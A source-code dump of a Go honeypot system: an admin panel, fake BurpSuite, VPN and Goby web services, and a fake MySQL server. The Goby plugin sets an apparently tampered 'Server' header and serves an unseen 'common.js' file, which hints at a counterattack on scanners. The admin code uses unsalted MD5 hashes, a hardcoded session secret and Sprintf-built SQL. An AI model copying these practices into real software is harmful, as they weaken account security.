37 | utils.Start()
38 | defer utils.Stop()
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/honeyPot/plugins/burpsuite/resource/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IIS Windows Server
6 |
23 |
24 |
25 |
26 |
27 |

28 |
29 |
30 |
--------------------------------------------------------------------------------
/honeyPot/plugins/goby/goby.go:
--------------------------------------------------------------------------------
1 | package goby
2 |
3 | import (
4 | "embed"
5 | "github.com/gin-contrib/static"
6 | "github.com/gin-gonic/gin"
7 | "honeypot/admin/tools"
8 | "honeypot/plugins"
9 | mylog "honeypot/utils/log"
10 | "net/http"
11 | )
12 |
13 | var (
14 | ip string
15 | port string
16 | )
17 |
18 | var staticfile = tools.RandomAdminUrl()
19 |
20 | //go:embed resource
21 | var resource embed.FS
22 |
23 | func render(c *gin.Context) {
24 | c.Writer.Header().Set("Server", "Nginx/
\r\n")
25 | }
26 |
27 | func Goby() http.Handler {
28 | router := gin.New()
29 | router.Use(mylog.HttpLog("goby", "gobylog"))
30 | router.Use(static.Serve("/", plugins.EmbedFolder(resource, "resource")))
31 | router.StaticFile("/upload/common.js", tools.GobyFile)
32 | router.GET("/", render)
33 | return router
34 | }
35 |
36 | func SetInfo(ip1 string, port1 string) {
37 | ip = ip1
38 | port = port1
39 | }
40 |
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/css/common.css:
--------------------------------------------------------------------------------
1 | *{
2 | margin: 0;
3 | padding: 0;
4 | }
5 |
6 | .form1{
7 | display: inline-block;
8 | width: 100px;
9 | }
10 | .btn-default{
11 | margin-left: 20px;
12 | }
13 |
14 | .form-inline {
15 | display: inline-block;
16 | }
17 |
18 | .form-inline span{
19 | height: 54px;
20 | display: inline-block;
21 | font-weight: bold;
22 | line-height: 54px;
23 | }
24 | .nav{
25 | margin-bottom: 20px;
26 | }
27 |
28 | .nav .btn-default{
29 | margin-top: 20px;
30 | float: right;
31 | }
32 |
33 | .nav .index{
34 | margin-left: 0px;
35 | margin-top: 20px;
36 | margin-right: 40px;
37 | float: left;
38 | }
39 |
40 | caption {
41 | font-style: italic;
42 | font-size: larger;
43 | }
44 |
45 | .content{
46 | font-size: 20px;
47 | display: block;
48 | height: 200px;
49 | width: 100%;
50 | line-height: 200px;
51 | text-align: center;
52 | background-color: #eeeeee;
53 | }
--------------------------------------------------------------------------------
/honeyPot/utils/stop.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "honeypot/admin"
7 | "os"
8 | "os/signal"
9 | "time"
10 | )
11 |
12 | func Stop() {
13 | //优雅关闭服务
14 | // 等待中断信号以优雅地关闭服务器(设置 5 秒的超时时间)
15 | quit := make(chan os.Signal)
16 | signal.Notify(quit, os.Interrupt)
17 | // quit 信道是同步信道,若没有信号进来,处于阻塞状态
18 | // 反之,则执行后续代码
19 | <-quit
20 | fmt.Println("Shutdown Server ...")
21 |
22 | ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
23 | defer cancel()
24 | // 调用 srv.Shutdown() 完成优雅停止
25 | // 调用时传递了一个上下文对象,对象中定义了超时时间
26 | //系统关闭时统一结束蜜罐服务
27 | if err := admin.BurpPot.Shutdown(ctx); err != nil {
28 | fmt.Println("burpsuite Shutdown:", err)
29 | }
30 | if err := admin.VpnPot.Shutdown(ctx); err != nil {
31 | fmt.Println("vpn Shutdown:", err)
32 | }
33 | if err := admin.GobyPot.Shutdown(ctx); err != nil {
34 | fmt.Println("goby Shutdown:", err)
35 | }
36 | if err := Sys.Shutdown(ctx); err != nil {
37 | fmt.Println("Server Shutdown:", err)
38 | }
39 | fmt.Println("Server exiting")
40 | }
41 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/flavor_mariadb_binlog_playback.go:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Copyright 2017 Google Inc.
4 |
5 | Licensed under the Apache License, Version 2.0 (the "License");
6 | you may not use this file except in compliance with the License.
7 | You may obtain a copy of the License at
8 |
9 | http://www.apache.org/licenses/LICENSE-2.0
10 |
11 | Unless required by applicable law or agreed to in writing, software
12 | distributed under the License is distributed on an "AS IS" BASIS,
13 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | See the License for the specific language governing permissions and
15 | limitations under the License.
16 | */
17 |
18 | package mysql
19 |
20 | // These two methods are isolated here so they can be easily changed
21 | // in other trees.
22 |
23 | // enableBinlogPlaybackCommand is part of the Flavor interface.
24 | func (mariadbFlavor) enableBinlogPlaybackCommand() string {
25 | return ""
26 | }
27 |
28 | // disableBinlogPlaybackCommand is part of the Flavor interface.
29 | func (mariadbFlavor) disableBinlogPlaybackCommand() string {
30 | return ""
31 | }
32 |
--------------------------------------------------------------------------------
/honeyPot/admin/html/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | 登录
9 |
10 |
11 |
12 |
13 |
24 |
25 |
26 |
27 |
28 |
29 | {{.result}}
30 |
31 |
--------------------------------------------------------------------------------
/honeyPot/admin/admin.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "github.com/gin-contrib/sessions"
5 | "github.com/gin-contrib/sessions/cookie"
6 | "github.com/gin-gonic/gin"
7 | "honeypot/admin/tools"
8 | mylog "honeypot/utils/log"
9 | "html/template"
10 | "io/fs"
11 | "net/http"
12 | )
13 |
14 | var Adminurl = tools.RandomAdminUrl()
15 |
16 | func Admin() http.Handler {
17 | gin.SetMode(gin.ReleaseMode)
18 | router := gin.New()
19 | router.Use(mylog.HttpLog("admin", "log"))
20 | fe, _ := fs.Sub(StaFS, "jkxtmw")
21 | router.StaticFS("jkxtmw", http.FS(fe))
22 | router.StaticFS(Adminurl+"/jkxtmw", http.FS(fe))
23 | templ := template.Must(template.New("").ParseFS(HtmlFS, "html/*.html"))
24 | router.SetHTMLTemplate(templ)
25 | store := cookie.NewStore([]byte("secure"))
26 | //设置session过期时间为两小时
27 | store.Options(sessions.Options{MaxAge: 120 * 60})
28 | router.Use(sessions.Sessions("sessionid", store))
29 | router.GET("/", tools.IndexPage)
30 | {
31 | v1 := router.Group(Adminurl)
32 | {
33 | v1.GET("/", Pot)
34 | v1.GET("/login", Pot)
35 | v1.POST("/login", Login)
36 | v1.GET("/logout", logout)
37 | v1.GET("/log", log)
38 | v1.GET("/log/:logname", log)
39 | v1.POST("/log", log)
40 | v1.POST("/logcount", CountLog)
41 | v1.POST("/log/logcount", CountLog)
42 | v1.POST("/logsearch", LogSearch)
43 | v1.POST("/log/logsearch", LogSearch)
44 | v1.GET("/changepass", ChangePass)
45 | v1.POST("/changepass", ChangePass)
46 | v1.GET("/potconfig", PotConfig)
47 | v1.POST("/potconfig", PotConfig)
48 | v1.POST("/uploadfile", UploadFile)
49 | v1.POST("/potcontrol", PotControl)
50 | }
51 | }
52 | tools.PageNotFound(router)
53 | return router
54 | }
55 |
--------------------------------------------------------------------------------
/honeyPot/admin/login.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "crypto/md5"
5 | "database/sql"
6 | "fmt"
7 | "github.com/gin-contrib/sessions"
8 | "github.com/gin-gonic/gin"
9 | _ "github.com/mattn/go-sqlite3"
10 | "honeypot/admin/tools"
11 | "net/http"
12 | )
13 |
14 | type user struct {
15 | username string
16 | password string
17 | }
18 |
19 | var State = make(map[string]interface{})
20 |
21 | func checkErr(err error) {
22 | if err != nil {
23 | panic(err)
24 | }
25 | }
26 |
27 | func queryData() (l []user, e error) {
28 | db, err := sql.Open("sqlite3", tools.DbPath)
29 | checkErr(err)
30 | // 查询数据
31 | rows, err := db.Query("SELECT USER,PASS FROM USER WHERE ID =1")
32 | checkErr(err)
33 | var result = make([]user, 0)
34 | for rows.Next() {
35 | var username,password string
36 | err = rows.Scan(&username, &password)
37 | checkErr(err)
38 | result = append(result, user{username, password})
39 | }
40 | db.Close()
41 | return result, nil
42 | }
43 |
44 | // Login 登录
45 | func Login(c *gin.Context) {
46 | if c.Request.Method == "POST"{
47 | username := c.PostForm("username")
48 | password := c.PostForm("password")
49 | passmd5 := md5.Sum([]byte(password))
50 | passstr := fmt.Sprintf("%x", passmd5)
51 | res, _ := queryData()
52 | if username == res[0].username && passstr == res[0].password{
53 | State["state"]=1
54 | State["text"]="登录成功"
55 | session := sessions.Default(c)
56 | session.Set("secure", "admin")
57 | session.Save()
58 | c.JSON(http.StatusOK, gin.H{"code": 1, "message": "登录成功"})
59 | }else{
60 | State["state"]=0
61 | State["text"]="用户名或密码错误"
62 | c.JSON(http.StatusOK, gin.H{"code": 0, "message": "登录失败"})
63 | //c.HTML(http.StatusOK, "login.html", honeyPot.H{
64 | // "result": State["text"],
65 | //})
66 | }
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/honeyPot/admin/html/pwd.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | 修改密码
10 |
11 |
12 |
13 | {{if .IsLogin}}
14 |
20 |
21 |
36 |
37 |
38 |
39 |
40 | {{ else }}
41 |
您还未登录,请登录
42 | {{ end }}
43 |
44 |
45 |
--------------------------------------------------------------------------------
/honeyPot/admin/changepass.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "crypto/md5"
5 | "database/sql"
6 | "fmt"
7 | "github.com/gin-gonic/gin"
8 | "honeypot/admin/tools"
9 | "net/http"
10 | )
11 |
12 | func updateData(pass string) bool {
13 | db, err := sql.Open("sqlite3", tools.DbPath)
14 | checkErr(err)
15 | // 更新数据
16 | querystring := fmt.Sprintf("update USER SET PASS = '%s' WHERE id =1", pass)
17 | _, err = db.Exec(querystring)
18 | if err != nil {
19 | return false
20 | }
21 | return true
22 | }
23 |
24 | func ChangePass(c *gin.Context) {
25 | islogin := tools.GetSession(c)
26 | if islogin {
27 | if c.Request.Method == "GET" {
28 | c.HTML(http.StatusOK, "pwd.html", gin.H{
29 | "IsLogin": islogin,
30 | })
31 | }
32 | if c.Request.Method == "POST" {
33 | oldpass := c.PostForm("oldpass")
34 | password1 := c.PostForm("password1")
35 | password2 := c.PostForm("password2")
36 | passmd5 := md5.Sum([]byte(oldpass))
37 | passstr := fmt.Sprintf("%x", passmd5)
38 | res, _ := queryData()
39 | if oldpass != "" && password1 != "" && password2 != "" {
40 | if passstr != res[0].password {
41 | c.JSON(http.StatusOK, gin.H{"code": -1, "message": "旧密码错误"})
42 | return
43 | }
44 | if password1 != password2 {
45 | c.JSON(http.StatusOK, gin.H{"code": 0, "message": "两次输入的密码不一致"})
46 | return
47 | }
48 | if !tools.CheckPass(8, 20, 4, password1) && !tools.CheckPass(8, 15, 4, password1) {
49 | c.JSON(http.StatusOK, gin.H{"code": 3, "message": "密码长度必须大于8位,并且必须包含大小写字母,数字和特殊符号"})
50 | } else {
51 | passmd51 := md5.Sum([]byte(password1))
52 | passstr1 := fmt.Sprintf("%x", passmd51)
53 | result := updateData(passstr1)
54 | if result {
55 | c.JSON(http.StatusOK, gin.H{"code": 1, "message": "密码修改成功"})
56 | } else {
57 | c.JSON(http.StatusOK, gin.H{"code": 2, "message": "密码修改失败"})
58 | return
59 | }
60 | }
61 | }
62 | }
63 | } else {
64 | c.HTML(http.StatusOK, "login.html", nil)
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/gtid_set.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | // GTIDSet represents the set of transactions received or applied by a server.
20 | // In some flavors, a single GTID is enough to specify the set of all
21 | // transactions that came before it, but in others a more complex structure is
22 | // required.
23 | //
24 | // GTIDSet is wrapped by replication.Position, which is a concrete struct.
25 | // When sending a GTIDSet over RPCs, encode/decode it as a string.
26 | // Most code outside of this package should use replication.Position rather
27 | // than GTIDSet.
28 | type GTIDSet interface {
29 | // String returns the canonical printed form of the set as expected by a
30 | // particular flavor of MySQL.
31 | String() string
32 |
33 | // Flavor returns the key under which the corresponding parser function is
34 | // registered in the transactionSetParsers map.
35 | Flavor() string
36 |
37 | // ContainsGTID returns true if the set contains the specified transaction.
38 | ContainsGTID(GTID) bool
39 |
40 | // Contains returns true if the set is a superset of another set.
41 | Contains(GTIDSet) bool
42 |
43 | // Equal returns true if the set is equal to another set.
44 | Equal(GTIDSet) bool
45 |
46 | // AddGTID returns a new GTIDSet that is expanded to contain the given GTID.
47 | AddGTID(GTID) GTIDSet
48 | }
49 |
50 | // gtidSetParsers maps flavor names to parser functions. It is used by
51 | // ParsePosition().
52 | var gtidSetParsers = make(map[string]func(string) (GTIDSet, error))
53 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/auth_server_none.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "net"
21 |
22 | querypb "vitess.io/vitess/go/vt/proto/query"
23 | )
24 |
25 | // AuthServerNone takes all comers.
26 | // It's meant to be used for testing and prototyping.
27 | // With this config, you can connect to a local vtgate using
28 | // the following command line: 'mysql -P port -h ::'.
29 | // It only uses MysqlNativePassword method.
30 | type AuthServerNone struct{}
31 |
32 | // AuthMethod is part of the AuthServer interface.
33 | // We always return MysqlNativePassword.
34 | func (a *AuthServerNone) AuthMethod(user string) (string, error) {
35 | return MysqlNativePassword, nil
36 | }
37 |
38 | // Salt makes salt
39 | func (a *AuthServerNone) Salt() ([]byte, error) {
40 | return NewSalt()
41 | }
42 |
43 | // ValidateHash validates hash
44 | func (a *AuthServerNone) ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error) {
45 | return &NoneGetter{}, nil
46 | }
47 |
48 | // Negotiate is part of the AuthServer interface.
49 | // It will never be called.
50 | func (a *AuthServerNone) Negotiate(c *Conn, user string, remotAddr net.Addr) (Getter, error) {
51 | panic("Negotiate should not be called as AuthMethod returned mysql_native_password")
52 | }
53 |
54 | func init() {
55 | RegisterAuthServerImpl("none", &AuthServerNone{})
56 | }
57 |
58 | // NoneGetter holds the empty string
59 | type NoneGetter struct{}
60 |
61 | // Get returns the empty string
62 | func (ng *NoneGetter) Get() *querypb.VTGateCallerID {
63 | return &querypb.VTGateCallerID{Username: "userData1"}
64 | }
65 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/conn_params.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | // ConnParams contains all the parameters to use to connect to mysql.
20 | type ConnParams struct {
21 | Host string `json:"host"`
22 | Port int `json:"port"`
23 | Uname string `json:"uname"`
24 | Pass string `json:"pass"`
25 | DbName string `json:"dbname"`
26 | UnixSocket string `json:"unix_socket"`
27 | Charset string `json:"charset"`
28 | Flags uint64 `json:"flags"`
29 |
30 | // The following SSL flags are only used when flags |= 2048
31 | // is set (CapabilityClientSSL).
32 | SslCa string `json:"ssl_ca"`
33 | SslCaPath string `json:"ssl_ca_path"`
34 | SslCert string `json:"ssl_cert"`
35 | SslKey string `json:"ssl_key"`
36 | ServerName string `json:"server_name"`
37 |
38 | // The following is only set when the deprecated "dbname" flags are
39 | // supplied and will be removed.
40 | DeprecatedDBName string
41 |
42 | // The following is only set to force the client to connect without
43 | // using CapabilityClientDeprecateEOF
44 | DisableClientDeprecateEOF bool
45 | }
46 |
47 | // EnableSSL will set the right flag on the parameters.
48 | func (cp *ConnParams) EnableSSL() {
49 | cp.Flags |= CapabilityClientSSL
50 | }
51 |
52 | // SslEnabled returns if SSL is enabled.
53 | func (cp *ConnParams) SslEnabled() bool {
54 | return (cp.Flags & CapabilityClientSSL) > 0
55 | }
56 |
57 | // EnableClientFoundRows sets the flag for CLIENT_FOUND_ROWS.
58 | func (cp *ConnParams) EnableClientFoundRows() {
59 | cp.Flags |= CapabilityClientFoundRows
60 | }
61 |
--------------------------------------------------------------------------------
/honeyPot/admin/pot.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | "github.com/gin-gonic/gin"
7 | "honeypot/admin/tools"
8 | "net/http"
9 | )
10 |
11 | type PotData struct {
12 | Name string
13 | Pottype string
14 | State int
15 | Url string
16 | Configid int
17 | }
18 |
19 | func Pot(c *gin.Context) {
20 | islogin := tools.GetSession(c)
21 | //name = c.PostForm("name")
22 | //pottype = c.PostForm("pottype")
23 | //state = c.PostForm("state")
24 | //configid = c.PostForm("configid")
25 | res := PotRead()
26 | if islogin {
27 | if c.Request.Method == "GET" {
28 | c.HTML(http.StatusOK, "index.html", gin.H{
29 | "IsLogin": islogin,
30 | "res": res,
31 | })
32 | }
33 | } else {
34 | c.HTML(http.StatusOK, "login.html", nil)
35 | }
36 | }
37 |
38 | func PotRead() (Pot []PotData) {
39 | db, err := sql.Open("sqlite3", tools.DbPath)
40 | checkErr(err)
41 | // 查询数据
42 | rows, err := db.Query("SELECT name, pottype, state, url,configid FROM pot order by id ASC")
43 | checkErr(err)
44 | var result = make([]PotData, 0)
45 | for rows.Next() {
46 | var (
47 | name, pottype string
48 | state int
49 | url string
50 | configid int
51 | )
52 | err = rows.Scan(&name, &pottype, &state, &url, &configid)
53 | if err == nil {
54 | result = append(result, PotData{name, pottype, state, url, configid})
55 | } else {
56 | result = append(result, PotData{"", "", 0, "#", 0})
57 | }
58 | db.Close()
59 |
60 | }
61 | return result
62 | }
63 |
64 | func Exit() {
65 | db, err := sql.Open("sqlite3", tools.DbPath)
66 | if err != nil {
67 | fmt.Println(err)
68 | }
69 | defer db.Close()
70 |
71 | querysql := "SELECT count(1) FROM sqlite_master WHERE type='table' AND name='pot'"
72 | row, err := db.Query(querysql)
73 | if err != nil {
74 | fmt.Println(err)
75 | }
76 |
77 | var num int
78 | for row.Next() {
79 | err = row.Scan(&num)
80 | if err != nil {
81 | fmt.Println(err)
82 | }
83 | }
84 |
85 | sqlStr := "DROP TABLE IF EXISTS 'goose_db_version';"
86 | if num == 1 {
87 | sqlStr = "UPDATE pot SET state = 0;DROP TABLE IF EXISTS 'goose_db_version';"
88 | }
89 | _, err = db.Exec(sqlStr)
90 | if err != nil {
91 | fmt.Println(err)
92 | }
93 | //fmt.Println("数据库状态恢复成功!")
94 | }
95 |
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/css/normalize.min.css:
--------------------------------------------------------------------------------
1 | /*! normalize.css v5.0.0 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{margin:.67em 0;font-size:2em}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{overflow:visible;box-sizing:content-box;height:0}pre{font-size:1em;font-family:monospace}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit;font-weight:bolder}code,kbd,samp{font-size:1em;font-family:monospace}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{position:relative;vertical-align:baseline;font-size:75%;line-height:0}sub{bottom:-.25em}sup{top:-.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{margin:0;font-size:100%;font-family:sans-serif;line-height:1.15}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{margin:0 2px;padding:.35em .625em .75em;border:1px solid silver}legend{display:table;box-sizing:border-box;padding:0;max-width:100%;color:inherit;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}[hidden],template{display:none}
--------------------------------------------------------------------------------
/honeyPot/admin/html/log1.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | 日志
17 |
18 |
19 |
20 |
26 |
27 | 日期:
28 |
29 | -
30 |
31 |
32 |
33 |
34 |
35 | 日志数据
36 |
37 |
38 | | 时间 |
39 | 原始日志 |
40 |
41 |
42 |
43 | {{ range $i, $v := .res }}
44 |
45 | | {{$v.Time}} |
46 | {{$v.Full_message}} |
47 |
48 | {{end}}
49 |
50 |
51 |
52 |
53 |
54 |
--------------------------------------------------------------------------------
/honeyPot/utils/log/sqlitehook.go:
--------------------------------------------------------------------------------
1 | package mylog
2 |
3 | import (
4 | "context"
5 | "database/sql"
6 | "fmt"
7 | _ "github.com/mattn/go-sqlite3"
8 | "github.com/pkg/errors"
9 | "github.com/sirupsen/logrus"
10 | "honeypot/admin/tools"
11 | "time"
12 | )
13 |
14 | type SQLiteHook struct {
15 | db *sql.DB
16 | tablename string
17 | timeout time.Duration
18 | }
19 |
20 | // NewSQLiteHook - create new SQLite3 logrus hook
21 | func NewSQLiteHook(db *sql.DB, tablename string, timeout time.Duration) (hook *SQLiteHook, err error) {
22 | if err = db.Ping(); err != nil {
23 | return
24 | }
25 | hook = &SQLiteHook{
26 | db: db,
27 | tablename: tablename,
28 | timeout: timeout,
29 | }
30 | return
31 | }
32 |
33 | func (hook *SQLiteHook) Fire(entry *logrus.Entry) (err error) {
34 | ctx, cancel := context.WithTimeout(context.Background(), hook.timeout)
35 | defer cancel()
36 |
37 | str, err := entry.String()
38 | if err != nil {
39 | err = errors.Wrap(err, "unable to read logrus entry")
40 | return
41 | }
42 | t := entry.Time.Format("2006-01-02 15:04:05")
43 | var rowLen int
44 | hook.db.QueryRow(fmt.Sprintf("SELECT 1 FROM %s WHERE time = '%s' and clientIP = '%s'",hook.tablename,t,entry.Data["clientIP"])).Scan(&rowLen)
45 |
46 | //插入语句
47 | if rowLen == 0{
48 | if tools.In(hook.tablename, tools.Config("httplog")){
49 | query := fmt.Sprintf("INSERT INTO %s(time,clientIP,statusCode,reqMethod,reqUri,full_message) VALUES (?,?,?,?,?,?)",hook.tablename)
50 | smt, err := hook.db.PrepareContext(ctx, query)
51 | if err != nil {
52 | err = errors.Wrap(err, "unable to insert log entry")
53 | } else {
54 | smt.ExecContext(ctx,
55 | t,
56 | entry.Data["clientIP"],
57 | entry.Data["statusCode"],
58 | entry.Data["reqMethod"],
59 | entry.Data["reqUri"],
60 | str,
61 | )
62 | }
63 | }
64 | if tools.In(hook.tablename, tools.Config("nohttplog")){
65 | query := fmt.Sprintf("INSERT INTO %s(time,msg) VALUES (?,?)",hook.tablename)
66 | smt, err := hook.db.PrepareContext(ctx, query)
67 | if err != nil {
68 | err = errors.Wrap(err, "unable to insert log entry")
69 | } else {
70 | smt.ExecContext(ctx,
71 | t,
72 | str,
73 | )
74 | }
75 | }
76 | }
77 | return
78 | }
79 |
80 | func (hook *SQLiteHook) Levels() []logrus.Level {
81 | return logrus.AllLevels
82 | }
83 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/sql_utils.go:
--------------------------------------------------------------------------------
1 | package mysql
2 |
3 | import (
4 | "vitess.io/vitess/go/sqltypes"
5 | "vitess.io/vitess/go/vt/proto/query"
6 | )
7 |
8 | type Column struct {
9 | // Name is the name of the column.
10 | Name string
11 | // Type is the data type of the column.
12 | Type query.Type
13 | // Default contains the default value of the column or nil if it is NULL.
14 | Default interface{}
15 | // Nullable is true if the column can contain NULL values, or false
16 | // otherwise.
17 | Nullable bool
18 | // Source is the name of the table this column came from.
19 | Source string
20 | // PrimaryKey is true if the column is part of the primary key for its table.
21 | PrimaryKey bool
22 | }
23 |
24 | type Schema []*Column
25 | type SQLRow []interface{}
26 |
27 | func SchemaToFields(s Schema) []*query.Field {
28 | fields := make([]*query.Field, len(s))
29 | for i, c := range s {
30 | var charset uint32 = CharacterSetUtf8
31 | if c.Type == sqltypes.Blob {
32 | charset = CharacterSetBinary
33 | }
34 |
35 | fields[i] = &query.Field{
36 | Name: c.Name,
37 | Type: c.Type,
38 | Charset: charset,
39 | }
40 | }
41 | return fields
42 | }
43 |
44 | func RowToSQL(row SQLRow) []sqltypes.Value {
45 | o := make([]sqltypes.Value, len(row))
46 |
47 | for i, v := range row {
48 | switch value := v.(type) {
49 | case []byte:
50 | o[i] = sqltypes.MakeTrusted(sqltypes.Blob, value)
51 | case string:
52 | o[i] = sqltypes.MakeTrusted(sqltypes.Text, []byte(value))
53 | default:
54 | o[i] = sqltypes.MakeTrusted(sqltypes.Blob, []byte{})
55 | }
56 | }
57 |
58 | return o
59 | }
60 |
61 | func GetMysqlVars() *sqltypes.Result {
62 | r := &sqltypes.Result{Fields: SchemaToFields(Schema{
63 | {Name: "system_time_zone", Type: sqltypes.Text, Nullable: false},
64 | {Name: "time_zone", Type: sqltypes.Text, Nullable: false},
65 | {Name: "init_connect", Type: sqltypes.Text, Nullable: false},
66 | {Name: "auto_increment_increment", Type: sqltypes.Text, Nullable: false},
67 | {Name: "max_allowed_packet", Type: sqltypes.Text, Nullable: false},
68 | })}
69 | r.Rows = append(r.Rows, RowToSQL(SQLRow{"UTC", "SYSTEM", "", "1", "10000"}))
70 | return r
71 | }
--------------------------------------------------------------------------------
/honeyPot/admin/html/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | 蜜罐管理系统
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/slave_status.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | replicationdatapb "vitess.io/vitess/go/vt/proto/replicationdata"
21 | "vitess.io/vitess/go/vt/vterrors"
22 | )
23 |
24 | // SlaveStatus holds replication information from SHOW SLAVE STATUS.
25 | type SlaveStatus struct {
26 | Position Position
27 | SlaveIORunning bool
28 | SlaveSQLRunning bool
29 | SecondsBehindMaster uint
30 | MasterHost string
31 | MasterPort int
32 | MasterConnectRetry int
33 | }
34 |
35 | // SlaveRunning returns true iff both the Slave IO and Slave SQL threads are
36 | // running.
37 | func (s *SlaveStatus) SlaveRunning() bool {
38 | return s.SlaveIORunning && s.SlaveSQLRunning
39 | }
40 |
41 | // SlaveStatusToProto translates a Status to proto3.
42 | func SlaveStatusToProto(s SlaveStatus) *replicationdatapb.Status {
43 | return &replicationdatapb.Status{
44 | Position: EncodePosition(s.Position),
45 | SlaveIoRunning: s.SlaveIORunning,
46 | SlaveSqlRunning: s.SlaveSQLRunning,
47 | SecondsBehindMaster: uint32(s.SecondsBehindMaster),
48 | MasterHost: s.MasterHost,
49 | MasterPort: int32(s.MasterPort),
50 | MasterConnectRetry: int32(s.MasterConnectRetry),
51 | }
52 | }
53 |
54 | // ProtoToSlaveStatus translates a proto Status, or panics.
55 | func ProtoToSlaveStatus(s *replicationdatapb.Status) SlaveStatus {
56 | pos, err := DecodePosition(s.Position)
57 | if err != nil {
58 | panic(vterrors.Wrapf(err, "cannot decode Position"))
59 | }
60 | return SlaveStatus{
61 | Position: pos,
62 | SlaveIORunning: s.SlaveIoRunning,
63 | SlaveSQLRunning: s.SlaveSqlRunning,
64 | SecondsBehindMaster: uint(s.SecondsBehindMaster),
65 | MasterHost: s.MasterHost,
66 | MasterPort: int(s.MasterPort),
